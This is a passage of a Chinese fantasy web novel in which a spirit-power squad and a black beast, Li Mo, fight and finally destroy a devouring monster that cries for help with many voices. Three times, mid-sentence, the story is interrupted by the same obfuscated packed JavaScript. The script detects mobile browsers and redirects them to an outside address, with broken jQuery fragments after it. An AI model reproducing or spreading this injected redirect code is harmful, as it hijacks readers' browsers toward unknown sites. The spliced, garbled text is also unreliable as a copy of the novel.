他们并不知道这个妖类是什么?那又为什么要来追捕它? 只听下方山坳中,严瑾道:“先不着急动手,我来试试能不能跟它沟通。” 这意思应该就是想要像李默一样,试着跟这个怪物用意念交流一番。然而令人意外的是,严瑾这次闭目没多久,就又睁开了眼,目光微沉:“奇怪。” 刚刚出声的那个中年人忙道:“怎么了?” “这个妖类的识海很混乱,我找不到它的意识。”严瑾沉吟片刻,开口道:“不能把它就这么放着,意识混乱的情况下可能会出乱子,先带回局里再说。老莫,准备‘笼子’。” 那个叫老莫的中年人应声:“好嘞!” 他的背后斜背着一根长长的棍状物体,用布条包裹着,看不出来具体是什么东西。此刻疾步而出,一伸手拔出那根棍状物,猛地朝高空一掷,大喝一声:“开!” 强横的金属系灵力顿时从他身上弥漫开来,那棍子被他掷向高空,布条滑落,霎时光芒大放,在空中瞬间解体成八根金色长矛,带着凌厉破风声狠狠刺入那怪物周身! 怪物顿时发出一阵凄厉的嘶嚎——也不知道它那根本看不出来哪儿是嘴的身体到底是用什么构造发声的。 老莫:“严队,困住了!” 那长棍显然也是一件灵器,而且品阶不低,分解成的金色长矛与其说是“笼子”,不如说是“钉子”,死死把那怪物钉在了地面上。严瑾道:“陈溯,冻住它身上的黏液。小黎,准备灵枷,其他人帮老莫准备工具,把它运下山带回去。” 所有人齐声应是,那个叫小黎的队员身材娇小,身上却背着个巨大的背包,嘟嘟囔囔道:“……这玩意儿这么大,灵枷应该戴在哪儿?” 所有人的神态都放松了些,显然是对那个名叫老莫的队员的压制手段十分信任,哪怕面前是个妖力等级达到A级的未知妖类,他们也不觉得能在老莫的镇压下挣脱。 然而山坡上周纬却察觉到一丝不对劲。 透过李默那纤毫毕现的视觉,他突然发现——怪物被长矛扎穿的地方,皮肤好像逐渐起了一丝变化。 似乎是……也变成了金色? 下一秒,严瑾脸色陡变:“不对!陈溯回来!” 话音未落,他双枪齐射——砰砰砰砰! 精神系就是有这个问题,因为精神力无形无相,很难作为直接攻击手段,所以精神系灵力者在团队中通常作为协调、调度和指挥中枢存在。强大的精神力能够帮助他们瞬间掌握战场局势,作出最合理的战力分配和指挥,但却通常不会作为主力战斗员正面迎敌。 严瑾作为异监局成立以来最强大的精神系灵力者,却也避免不了这个问题,尤其是此次任务对象还是这种意识混乱的存在,更是极大地削弱了精神力的作用——但是精神力受限,他还有灵力! 双枪中射出的子弹带着最纯粹的灵力波动,狠狠击中了怪物的一侧身体。无孔不入的精神力让严瑾对战机的把握秒到毫巅,他击中的正是怪物受力最不稳的那个点,连续四发子弹分毫不差地打中了同一位置,鲜血四溅的同时,怪物一声痛吼,被子弹出膛的巨大动能猛地从山坳间掀了下去,腐蚀性的黏液滚落一地! 与此同时,那个名叫陈溯的年轻队员脚步猝然刹车——无数根巨大的尖刺突然从地底突出,擦着他的鼻尖掠过,差之毫厘就会将他完全贯穿! 每一根尖刺竟然都闪着夺目的金色! 老莫脸色大变:“有什么东西在侵蚀我的‘曜熹’!” 这一刹那,山坳中的严瑾,和识海中的周纬,齐齐脸色大变。 他们同时认出了那个怪物刚刚施展出的能力——吞噬! 正是十年之后,李默吞噬夭冥的妖力时所使用的力量! 周纬一时间心神剧震,李默的吞噬能力怎么会出现在这个怪物身上? 然而紧接着他就意识到——不,不对,他的思路错了。 他只是先看到了李默的吞噬能力,所以先入为主、倒因为果,弄反了顺序——不是李默的吞噬能力出现在了那个怪物身上,而是那本就是那怪物的能力,却莫名其妙地出现在了李默身上! 其实仔细一想就很好分辨。同为吞噬,那个怪物的能力却要比李默强太多了。当时夭冥只是将几道妖力打入了李默体内,虽然李默囿于灵枷之困,没能立刻将其吞噬转化,但后来能够顺利吞噬夭冥的妖力,不得不说也是借助了白泽的玉针压制。就算这样,他也还是吃尽了苦头,险些搭进了半条命去。 可刚刚这个怪物展现出来的吞噬能力,从他被那灵器“曜熹”所伤,到他将灵器上的金属性灵力吞噬转化、化为己用,前后才用了多长时间?一分钟?两分钟? 这等吞噬能力,跟李默的能力比起来,简直是天渊之别。 周纬的心深深地沉了下去。 ……李默身上的吞噬能力是不“完整”的。 他的“吞噬”能力,大概率来源于眼前这个妖类;而照白泽所说,妖类获得新能力的唯一方式,就是吃掉其他妖类的妖核。 可是…… 在什么情况下,李默会吃掉眼前这个怪物的妖核呢? 严瑾又是出于什么原因,才会消除掉李默的这一段记忆呢? 周纬怀里的小黑突然疑惑地“嗷”了一声,抬起头来眨了眨眼睛,不明白眼前这个人类为什么突然浑身僵硬。 周纬对上它的目光,勉强提了提嘴角,安抚地抚摸了他两下,同时意识转回到回溯中,逼着自己继续往下看。 山坳里,战斗还在继续。 队伍里最年轻的那个队员陈溯刚刚差点中招,差之一线没被那地下骤然升起的尖刺穿成个人肉糖葫芦,生死擦肩而过,他脸上的冷汗还未来得及滑落,一道身影已经幻影般掠过了他,风衣衣摆在身后甩出了巨大的弧度:“老莫把曜熹收回来!这个妖类的能力是吞噬转化,所有人,上冷兵器!” 众队员:“是!” 灵力者的“冷兵器”并不是常规意义上的刀枪剑戟,而是指不附带任何灵力属性的武器。严瑾不愧精神力强绝,甫一照面就看出了那怪物的能力特性,立刻找到最佳应对方案。 老莫一招手唤回金色长矛,众人纷纷拿出了自己的□□或灵器冲了上去,严瑾一马当先,双枪在那怪物不断挣扎嘶嚎的身体上打出巨大的血花:“攻击我的标记点!” 他击中的正是怪物一条纤细扭曲的肢体与臃肿膨胀的躯干的连接处,意图非常明显——先废了它的行动能力! 团队中有一个强大的精神系能力者做中枢指挥实在是太舒服了,其他队员几乎可以直接卸载大脑听令行事。只见那个名叫小黎的姑娘身后沉重背包陡然坠地,整个人敏捷如燕般跃上半空,双臂一展,手中凭空出现两柄闪着寒芒的巨大弯月镰刀,双镰破风凌空斩落——铛!!! 双镰之下怪物的皮肤再度变成了金色,格住了这一击! 小黎双目圆睁,后方老莫怒道:“艹!” 还没等他们反应过来,严瑾指挥又到:“已经转化的身体部位无法再实现瞬时转化,所有人集中攻击一点!” “是!” 小黎双镰刚被弹开,十几发连珠箭如流星赶月一般杀到,那怪物金属化的躯体骤然被打得凹陷下去。只见远处一名黑衣覆面的队员手持银色长弓,张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348270|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓搭箭,指尖灵力迅速幻化成光箭,一声裂帛般的弦鸣,十几发箭矢再次分毫不差地撞在了同一个位置上! 严瑾:“东方,出刀!” 一声龙吟般的惊鸣乍然响起,清光横贯长空! 那名名叫东方的队员双手一招,手中竟然出现了一柄巨大的陌刀!这本应该是在马上使用的武器,足有三米多长,就连主人也只能双手持握,挥舞起来的时候简直开山裂石!东方吐气开声,顿足一跃而起,陌刀冷锋在月光下划出摄人心魄的寒光,带着千钧不敌的力道当头斩落! 轰————! 这开天辟地的一刀终于奏效,怪物坚硬的金属肢体直接被斩出了一道巨大的裂痕。 东方:“小溯,你来!” 他抽身即走,几乎是陌刀抽离的一瞬间,那名名叫陈溯的队员闪现上方,整个人竟然脚踏虚空,步步直上! 这简直是令人心折的一幕——那个陈溯显然是冰属性,此刻竟然还在动用灵力,只是他的凝结成的冰凌全都在半空生成,自然不用担心被那怪物吸收转化,而他竟然就踩着这冰晶踏飞虚空,转眼就升到了十几米的高度——然后,旋身直下! 两把锋锐长剑出现在他手中,他在空中拧身回旋,周身冰晶飞溅如瀑,整个人宛如一股暴烈的飓风!风眼处就是他的双剑剑锋,直插那道裂缝之中! 任何生物都抵抗不了这从天而降的强绝冲击,陈溯双锋与怪物肢体接触的一瞬间,那根扭曲的细肢顿时撕扯着断裂!血肉横飞! 所有人齐声:“好!” 陈溯双锋切断怪物肢体,剑尖一点飘然落到三米开外,动作灵动又飘逸。他的年纪是这群人里最小的,看起来才二十出头,显然还不太适应这样众声叫好的情景,呼吸微微急促,脸上也泛起了一丝红晕。 连远处观战的周纬都忍不住想要叫好。 这支小队太强了。每个人的战斗意识、临场应变和协作配合几乎都无可挑剔,整支队伍攻防搭配,远近结合,有强攻有策应,还有严瑾这位最强大脑坐镇中枢指挥,几乎是无死角无短板的强大,能够旁观这场战斗,足以令任何一个外勤监察员激动到热血沸腾。 他们甚至连团队氛围都好得出奇。周纬看得出来,那个名叫东方的队员应该是团队里的主攻手,他自己未必不能直接斩断怪物肢体,哪怕一刀不行两刀也绝对够了,但他却主动抽身让出了攻击位,把最后一击让给了那个名叫陈溯的冰系队员。 ——是因为他年龄最小么?还是因为刚刚一时疏忽,差点踩入怪物的伏击? 无论是哪一种原因,会主动照顾队员心态的团队,都无疑是外勤干员最向往的。 这不是异监局监察执法队常见的外勤模式,这种精英小队也绝不是异监局外勤的正常配置,从他们几乎人手一件灵器就能看得出来,这应该是临津市异监局外勤干员中的顶尖精英。周纬突然想起,总部的十大监察官好像采取的就是这种任务模式,每人组建领导一支固定的精英小队,在世界各处执行各种危险绝密的任务,和面前的这支小队非常相似。 严瑾是仿照监察官小队打造了这支队伍?还是说面前这些人,就是他未来成为监察官之后的最初班底? 如果是后者,那就很不妙了。 他记得很清楚,严瑾虽然曾经做到过大监察官的职位,但三年前殒身时,却并不是以大监察官的身份殉职的。 在那之前,他已经卸任了大监察官,原因在履历上写得很清楚,在某次任务中,“因指挥失误造成重大伤亡”。 “重大伤亡”——伤亡的不是平民百姓,而是当时在他身边,受他指挥,和他并肩作战的监察员队友。 那次事件之后,严瑾小队死伤惨重,整支队伍直接解散,从外勤部队序列中消失了。 周纬看着眼前这些鲜活的幻影,心忍不住狠狠向下一沉。 难道说,他现在所见的不止一个亡灵,而是一群么? 74.识海 “别分神,”严瑾开口道:“目标还没有被控制住。” 下方那条窄小的山坳里,此时已经一片狼藉。斩断一条肢体后,那个怪物发出了一阵惨烈的嘶嚎,随即就不动了,软趴趴地伏在地上,宛如一坨辣眼睛的巨大果冻。严瑾小队的人拿着各种武器,警惕地围上前,试探着怪物的反应。 然而怪物没有任何反应。 众人面面相觑,那个叫小黎的姑娘一撇嘴:“根据我多年的恐怖片观影经验,这种突然空气突然安静的情景,boss通常都是在憋一波大的……” 话音未落,就跟响应她这句话似的,面前的巨大肉红色果冻突然一阵急促蠕动收缩,表面所有肉瘤剧烈起伏,一紧一涨,肉眼可见地鼓了起来! 紧接着——砰! 所有的人瞳孔一缩——肉瘤炸开了! 腐蚀性黏液火山喷发一样炸上半空,脓血铺天盖地地砸下,腥臭气息弥漫,山坳里顿时下起了一场局部的血肉酸雨。 严瑾:“后退!” 所有人疾速飞身后退,老莫人还在半空就已经破口大骂:“这遭了瘟的玩意儿,埋汰死人了!” 陈溯惊呼:“小心!那玩意儿动了!” 那怪物喷发出了一阵血肉脓雨,却似乎并不想对严瑾众人造成杀伤,为的只是将他们逼退,随后就摇摇晃晃地再次站了起来。它本来勉强可以算是双足着地,如今被严瑾小队断去一肢,竟然换了个跑法,剩下的三条肢体同时落地支撑着身体,趴在地上手脚并用般,继续朝着山坡上逃跑。 这个逃跑的方向让周纬不由得蹙眉。 现在的战场局势,周纬和李默在半山坡上旁观,下方几十米的山坳里,严瑾小队和那个怪物混战作一团,遍地都是狼藉血肉。然而那个怪物并没有选择远离严瑾小队的方向逃跑,也没有顺着山坳继续向下移动,反而又开始向上爬坡,甚至为了支撑身体,剩下的三条肢体都进行了金属化,像是因为某种原因,它必须要上山似的。 这个怪物从出现的时候就试图往山上移动,如今哪怕遭受重创,也依然锲而不舍地试图上山……是山上有什么东西在吸引它? 还是说……反方向有什么更可怕的东西,让它恐惧得想要逃离? 血肉脓雨虽然埋汰,却并没有给严瑾小队造成什么实质性伤害,反而自损八百,那怪物的体型整个儿都缩小了一圈,臃肿鼓胀的腹部瘪了下去。 刚才的一击奏效让严瑾小队精神一振,纷纷提起武器冲上前去准备再来一次。如今它四肢只余其三,只要再断它一条肢体,那它无论如何也不可能再爬起来了,到时候要怎么收容捕获就简单了。 然而严瑾此时却一挥手:“等等。” 众人立时顿步,疑惑地望向严瑾。 只见严瑾沉眉望向前方那只妖兽,道:“它似乎不想跟我们交手。” 众人都是一愣。 “确实,”只见那名叫东方的队员摸了摸下巴,思忖道:“咱们一路追来,这东西也只是逃跑,一路上也没造成什么破坏,感觉敌意不算很强。” “敌意不强也不能这么放着啊?”老莫急道:“这玩意儿要是进了城,市局得炸,就算放在野外也不行啊!别的不说,山上那不是还有一位看着呢?” 远处观战的周纬和李默:“……” 也是,要是严瑾他们不在这里解决了这个怪物,说不得李默就要出手了,反正无论如何,他是不可能放任这个怪物进入妄山的。 然而严瑾犹豫了片刻,还是道:“它没有敌意,我们还是尽量不要伤它性命,我来试试能不能直接催眠它。” 意识混乱之时不能沟通交流,不代表不能直接用精神力安抚或镇压,这就跟神经病人也得睡觉是一个道理。众人对严瑾显然都十分信服,听了这话便纷纷收了武器,只是不远不近地跟在那怪物身后,没有再出手。 严瑾则闭上了眼睛,精神力再次侵入眼前那怪物的识海。 他再次坠入了一片天崩地裂的世界中。 唯有精神系才知道,在未经主人许可的情况下侵入他人识海,是一件多么危险的事。识海又称灵台,是生灵神识所居,也是精神力最为凝聚的地方,一旦遭受外来入侵,必然会自动反击。如果入侵者的精神力压不住,那轻则侵入的精神力烟消云散,重则直接反噬自身,傻了的都有。 而危险的轻重程度又跟被入侵者的识海形态有关——识海倒映人心,不同的人识海中往往会呈现出不同的景貌,有的人久经战阵杀伐果决,识海中一片刀枪剑戟森然林立;也有的人心绪平和古井不波,识海中便是一汪幽潭,静水流深。 严瑾身为精神系灵力者,这么多年来在各种情况下见识过的识海没有一千也有八百,然而初次进入眼前这个怪物的识海就让他吓了一跳,此刻再次嗨入侵,眼前的景象并没有一丝一毫的好转。 这里简直宛如世界末日。 这个妖类的识海倒是出奇的大,说明它的精神力强度并不弱,然而委实太混乱了——整个识海几乎已经四分五裂,各种各样的末日天灾轮番上演,头顶上时而银蛇横空,时而雷火天降,脚下海面狂澜万丈,飓风四起,吹得人站都站不住。 这种程度的混乱,已经足以自伤,连严瑾这种程度的精神系灵力者,在这其中都只能自保,其他的意识几乎已经不可能存在。 但没有完整的意识,至少应该还有碎片。 严瑾的精神体伫立识海高空,狂风暴雨打得他头发衣摆上下翻飞,在肆虐的雷霆巨浪中四下扫视,果然看到汹涌起伏的浪尖上,有什么晶莹剔透的东西一闪而过。 精神力包裹全身,严瑾顿时化作一道流光,飞燕掠空一般穿过横天贯地的水龙卷,在巨涛狂澜里轻盈地上下翻飞,差之毫厘地从浪尖上一掠而过,伸手准确地捞起了那枚意识碎片—— “救命啊——!!!” 意识碎片里传来一声简直惨绝人寰的嘶嚎,严瑾浑身触电般一炸。 与此同时,现实里传来一声惊叫:“严队!” 严瑾猝然抬头,面前的怪物身上骤然爆发出一团浓重的黑雾! 山坡上周纬和李默同时一震——这居然是李默的妖力! 周纬简直难以置信——就因为李默之前裹着妖力抽了那怪物一爪子,那玩意儿就把他的妖力“盗版”过去了?! 这怪物的吞噬能力还讲不讲道理了!正主还在眼前呢! 然而他心有余而力不足,就算想做什么也只能干瞪眼——因为下一秒,正主自己冲出去了! 只见李默四足踏地,原地化身一道黑色闪电,一跃而起山坳里俯冲下去,整个身子还在半空就挥起一掌,指尖弹出四根钢刀般雪亮的利爪,挟风裹雷地朝那怪物凌空挥下! 周纬:“!!!” 李默我真是看错你了,你什么时候变得这么莽了!!! 周纬这一晚上也不知道跌碎了多少眼镜。他这才想起来,其实细算下来,李默平时也很“莽”——在夜市的时候一言不发就动手是他,在岚山用身体硬接霆华之印的是他,甚至面对冯坤的时候干脆把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357069|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己打晕孤身赴战的还是他…… 要了命了,他到底是怎么会对李默产生“沉稳踏实”的滤镜的! 虽说周纬对李默此时主动参战也不是不能理解——毕竟那怪物盗取了他的妖力,以李默的性格,肯定不可能坐视对方用着自己的妖力去跟严瑾他们死拼——但他此刻真是深恨自己没有实体,恨不能拉着李默离这片战场越远越好。 然而李默的行动不以他这丰富的心理活动为转移,一爪下去,怪物周身那一层护体的黑雾顿时被撕裂出四道巨大的裂缝,带起的厉风霎时破开体表防御,怪物又一条细肢应声落地,鲜血冲天而起! 李默妖身在半空中一转,四爪稳稳落地,周身黑雾翻腾挡住溅落血雨,连毛发都没有沾湿一根。 这回背后此起彼伏的“卧槽”连成了一片。 严瑾小队目瞪口呆,眼见着山坡上一直按兵不动安静观战的黑色妖兽突然加入战局,身姿雄健又不失轻敏,带着难言的爆发力和视觉冲击,一击就打出了刚才他们六人合力一样的效果,眼珠子都要掉出来了。 小黎瞬间西子捧心作倾倒状:“这是什么妖兽?帅飞我了!” “帅屁啊!”老莫大怒:“这是要截胡?!黑吃黑?!” “神TM黑吃黑!”手持陌刀的汉子东方无语道:“没看见人家是来帮咱们的吗?” “你确定它是想来帮咱们,不是想直接虎口夺食吃了它?” 李默突然参战,众人都有些拿不准他的意图。严瑾一挥手制止了众人的七嘴八舌,随即,又是一道声音在李默的识海里响起。 “不要杀它。” 周纬:“……” 他都快麻了。这声音来的猝不及防,一点预兆都没有。难怪精神系不招人待见,这种随时随地在别人脑子里说话的能力跟见鬼有什么区别。 李默的回应也随即响起:“我不能保证。” 他的声音震荡四方,低沉而和缓,带着一种不容置疑的力量。 严瑾仍在试图谈判:“这个妖类的情况有异,我刚刚尝试了连接了它的识海,发现它在求救。” “与我无关。”李默的声音回荡在整个识海空间:“出去!” 紧接着,整个识海掀起了一阵惊涛骇浪! 周纬大骇。这虽然是发生在回溯里的一场精神力交锋,却也让身处其中的他忍不住头皮发麻,他只感觉到李默的精神力骤然汹涌起来,沸腾翻涌的滔天巨浪狠狠地拍击在了严瑾的意识体上,直接将严瑾的意识体拍飞了出去! 激荡的精神力连带着此时此刻的识海内也发生了变化,周边缥缈的云雾顿时翻腾起来,然而还没等浪涌成型,周纬怀里的小黑“嗖”的一声蹿下了地,三条长尾扇子一样散开,双耳立起,对着周围的沸腾云海就是一声长嗥。 小黑毕竟还小,叫声幼嫩且毫无威慑,丝毫不见李默十年之后在新莲码头上那惊天一吼的威势,然而在它这一声之下,沸然的识海云雾骤然平息,立刻变回了那懒洋洋飘动着的状态。 周纬蹲下身,把它抱了起来,捋了捋它炸开的毛发,回过头来继续看回溯里的情景。 识海中的主人占据着绝对的主场优势,李默毫不客气地驱逐了外来的严瑾,严瑾也丝毫没有反抗,精神力覆盖全身,顺从地退了出来,同时一伸手,制止了想要再次加入战局的队友。 老莫:“严队?” 严瑾沉声道:“你们都退后。” 他肃然地望着前方两个妖类的战场,此时,李默和那个怪物已经交上了手。 75.自爆 识海里的周纬也大气不敢喘,凝神仔细地感受着这场战斗。 真跟对方交上手了之后他才感觉到,眼前这个怪物的状态简直不能用诡异来形容。 它的妖力强大但驳杂,攻击方式更是毫无章法,体内也不知储存了多少种能力和属性。除了李默的妖力和老莫的金属化,它又陆续显露出了石化、风刃和高速再生三种不同的能力,再加上本身还带毒,身上更是不知哪里就会突然刺出无数扭曲蠕动的肉触手,简直防不胜防。 也许是因为自己的妖力已经被对方吞噬,李默也没了后顾之忧,打起来格外奔放,一招一式大开大合,利爪挥动间血肉横飞,战况之激烈,简直是令人眼花缭乱。 说起来,这还是周纬第一次真正见识到,拥有完整妖力的李默是怎么战斗的。 共感之后他的感受格外鲜明,能清晰地感受到李默身上那隐而不发的力量感,每一寸肌肉、筋骨都强悍凝实,在怪物杂乱无章的触手攻击中矫健地纵横腾跃,时不时用爪子在它身上留下四道深深的伤痕。那个怪物的妖力强度虽然不弱于李默,然而在肉/体力量和灵活性方面却完全无法相提并论,双方缠斗到现在,对面伤痕累累,李默自己连毛发都没掉一根。 周纬也能感受到李默周身那翻腾的黑雾,在他的感知中,那些黑雾没有任何属性,却每一缕都像是李默自身意识的延伸。李默如臂使指地操控着它们产生万千变化,无形无相,可攻可防,简直不要太好用。 对面那怪物虽然吸收了李默的妖力,但用起来明显没李默这么精准熟练,而且它意识混乱,黑雾只能依凭借着最基础的本能翻滚涌动,根本无法产生什么太复杂的变化,本来机变万千的各种能力也大打折扣。表现在战斗中,就是双方现在虽然同样都是黑雾笼罩,像两大团漆黑的色块一样冲来撞去,但一方明显灵活凌厉得多,而另一方只能被动挨打。 照这样下去,看起来用不了,多久李默就能把这玩意儿收拾了。 然而就在这时,严瑾突然出声:“小心!” 他刚刚才被李默从识海里驱逐了出来,因此这一句再没有贸然用精神力传声。然而直接开口说话毕竟没有意念指引来的那么直接,李默从没跟严瑾配合过,也缺乏跟小队成员跟他的那份默契,有头没尾的一句“小心”,他听见了,却没听明白到底要小心哪儿。 但下一瞬他就知道了——李默腾跃而起,四爪刚刚落地,脚下泥土就骤然翻涌起来。 周纬和李默同时反应过来——土遁! 这一招那怪物对付陈溯的时候曾经用过,同样是从地里突出无数肉刺,只是当时怪物同时使用了金属化,穿刺出地表的触手全部都是金灿灿的。大家当时震惊于这个怪物居然拥有吞噬能力,注意力全在金属化上,却忽略了那些肉刺是怎么潜入地底的。 周纬暗骂自己掉以轻心——怪物之前展现过石化能力,土遁和石化都是土属性的,他怎么早没想到! 李默在察觉脚下有异的第一时间就发力跃起,这一跃足有三丈高,直接跃上了半空。然而怪物这阴险一击也不知在地下蓄力了多久,此刻冲出地表的触手简直无穷无尽,十几米长触手宛如藤蔓森林一样拔地而起,直刺高空,眼看就要把李默当空贯穿! 这一下李默要是挨实了,不死肯定也要重伤。然而李默的战斗经验简直强绝,眼看身在半空无法躲避,他猛地蜷起身体,将胸腹要害牢牢护在中间,整个身体缩成一个黑色大球,外面黑雾层层围裹,直直朝着下方触手丛林撞了下来! 触手追杀李默还没升到最高,杀伤力未至巅峰,被李默蜷身一撞,果然被纷纷撞开。共感中的周纬只觉得那些看起来柔软的触手实则坚若精钢,条条洞穿李默的护体妖力,从李默身上凶狠地擦过,在他的皮毛上擦出数道长长的血痕,灼痛感如同烧红的烙铁直入脑髓。 李默一声没吭。 他不光没吭声,落地之后甚至连个磕绊都没打,四肢舒展的同时就挥起利爪,一爪子就把那怪物掀飞了出去! 狂风大作,黑雾乱涌,怪物发出一声凄厉的哀嚎。 之前的攻击已经在它身上留下了不少伤痕,然而却一直没能对它造成重创。主要是这玩意儿形态太诡异了,全身上下甚至看不出哪儿是要害,李默削掉了它三条残肢,在它臃肿的身体上留下了无数深深的伤口,然而这玩意儿却还在扑腾,甚至身上的伤口还在急速愈合。 如果是妖类,那就应该有妖核,可这玩意儿的妖核在哪儿? “跟着我,我给你指路。” 一个身影冷不丁地插了进来。 严瑾的身影倏然闪现。他也不知道从哪儿冒出来的,在混乱疯长的触手丛林里闪传腾挪,因为体型比妖身的李默小太多,甚至显得还更灵活一些。他一边飞奔穿梭,一边抽出双枪,对准怪物躯干部的某个位置——砰砰砰砰! 血花四溅,严瑾高声道:“这个位置是它妖力汇聚的地方,妖核就在下面!” 好个精神系! 李默一言不发,黑雾如潮暴涌,携裹着利爪以凌厉破风之势当空劈下! 刹那间筋断骨折,血肉迸溅,一股磅礴妖力骤然爆发! 意识再混沌的生灵,保护要害仍是本能。妖核处骤然受到攻击,那怪物的妖力陡然爆发了! 刹那间风刃、地刺、金属化触手汹涌如潮,怪物身边一片混乱,各种属性的妖力波动简直要把人当空撕碎!严瑾靠得最近,完全避无可避,当场被各种混乱庞杂的灵力击飞出去。精神系灵力者本就不以身体素质见长,只见半空中金光一闪,严瑾身上的一件护体灵器骤然破碎,他整个人就像折翼的鸟儿一样从空中坠落。 “队长!” 所有队员登时双目赤红,大吼着就要冲上来支援,然而年龄最大的老莫长棍一横:“等等!” 严瑾的身体到底没落到地上,只见一团黑雾突然涌来,卷上了严瑾的身体,为他挡住了妖力爆发的冲击余波,托着他轻飘飘地下落,稳稳当当地把人送到了他的队友中间。 小队队员一拥而上,围住了他们的队长。小黎已经开始忙不迭地从兜里往外掏灵砂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364125|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,许多双手乱七八糟地在严瑾身上摸来摸去替他检查伤势,各种声音焦急嘈杂混乱:“严队!”“你怎么样?!” 然而严瑾一伸手拨开他们,挣扎着撑起身体,望向了不远处的李默。 “谢谢。”他道:“可以留它一命吗?它刚才……对我喊了救命。” 声音是直接响起在李默的识海里的。 这一次,李默没有驱逐他。 他也没有回答,只是深深地看了这个人类一眼,转身再次朝着那个怪物冲了过去。 最后的爆发后,怪物已经奄奄一息。它庞大臃肿的身体几乎已经不再动弹,躯体中央破了个大洞,血肉中隐约可见一点晶莹的光芒。 那是一块拳头大小的不规则状晶石,周围连接着若干条血管和脉络,即使深埋在血肉中也没有沾染任何血污,静静地散发着雾一样的光芒。这怪物躯体畸形到根本看不清任何器官,这枚妖核仿佛就是它的心脏。 真是奇怪,如此污浊、扭曲、不合常理的生物,妖核却美得像清澈的月亮。 李默站在它奄奄一息的躯体边,没有再伸出爪子。 他犹豫了一下,黑雾从四下涌出,慢慢攀上怪物的躯体,想把它捆起来。 实力到了这种层次的妖类,再重的伤势恢复速度也是惊人的,只要不戴上灵枷,或者彻底挖出妖核,都不算是完全消除隐患。 灵枷估计暂时没有现成的,用其他带灵力的东西捆缚,又会被这个怪物吞噬吸收。好在李默的妖力已经被吸收过一次了,没有了这个后顾之忧,可以直接用妖力代替封印,将它强行镇压下来。这个怪物现在受了重伤,妖力强度已经掉到了底,想必也没什么力气再挣扎反抗了,以李默的妖力来镇压封印,也没难么容易挣脱。 然而,也许是到了濒死之际,又受到了李默妖力的刺激,怪物再次挣扎起来。只是躯体已经受创严重,它无力再动,只剩血肉地本能的痉挛,可走投无路的意识却不肯就此熄灭,反而在识海里汹涌回荡,发出了前所未有的困顿嘶吼。 不远处的严瑾陡然瞪大了眼睛。 “为什么要这样对我们……” “救命啊……好痛啊……” “不要再吃了,不要再吃了……” “让我回家,让我回家……” “不……不要回去……” “死也不回去……” 那不是一个意识,那是数十个、数百个、成千上万个意识,挤挤挨挨地簇拥在识海中,在濒临死亡的前一刻,不约而同地发出了最后的绝望呐喊! 那声音山呼海啸,针扎一样冲入严瑾的脑域,几乎挤爆他的识海,前所未有的痛苦、绝望和悲愤在同一时刻乍然爆发,无数死不瞑目的灵魂发出最后的嘶吼,渐渐汇聚成同一道摇撼大地的声音—— “死也不回去!!!” “!!!” 严瑾骤然弹坐而起,双目同时流下血泪,他竭尽全力向着远处的李默伸出手去,像是想要把他拉回来。 “快回来!它要自爆了!” 76.化形 那一刻,几乎没有任何选择。 一个A级妖兽引爆自身所有妖力的垂死一击,其强度足以横扫在场所有生灵;更何况他们现在所有人都挤在这个狭小的山坳里,两边是纵向延伸的山壁,爆炸的威力无处释放,足以在这里造成一场小型地震和山崩。 有妖力护体的李默也许可以幸免,在场的所有人类必将尸骨无存。 躲?无处可躲。 跑?来得及么? 来得及! 至少李默是来得及的。 几乎就在严瑾出声的一瞬间,李默一跃而起,利爪狠狠踩住那怪物还在抽动的血肉,黑雾疯狂涌出,巨口张开利齿咬合,朝那枚妖核狠狠咬了下去! 两股截然不同的磅礴妖力同时爆发! 能量浪潮飓风般横扫,顿时将山坳里的所有人都掀飞出去!巨大的冲击力震荡得周围山壁都出现了裂纹,碎裂山石簌簌滚落,山坳里烟尘四起,遮蔽了一切。 不知过了多久,回旋激荡不止的风暴这才缓缓平息,严瑾小队的人个个人仰马翻,所有人都灰头土脸,被刚刚能量指数爆表的一场妖力风暴刮得三魂七魄动荡,脑袋里嗡嗡的。 “队长?” “严队呢?严队怎么样了?” 被妖力飓风掀飞的时候他们都簇拥在严瑾身边,第一时间都释放出了灵力护体,他们离得又远,妖力对冲的能量爆发虽强,却也只是把他们吹飞,滚了几个跟头,除了头晕眼花了一阵,倒是没受什么重伤。此刻所有人虽然都晕头转向,却至少还是全须全尾的,爬起来之后第一反应都是朝严瑾的方向集中。 然后他们就看见,严瑾已经站了起来。 他的驼色风衣沾满了尘土和血迹,头发凌乱,整个人都显得狼狈不堪,踉踉跄跄地朝前方走去。 前方,烟尘缓缓散尽。 两只妖类都还在。 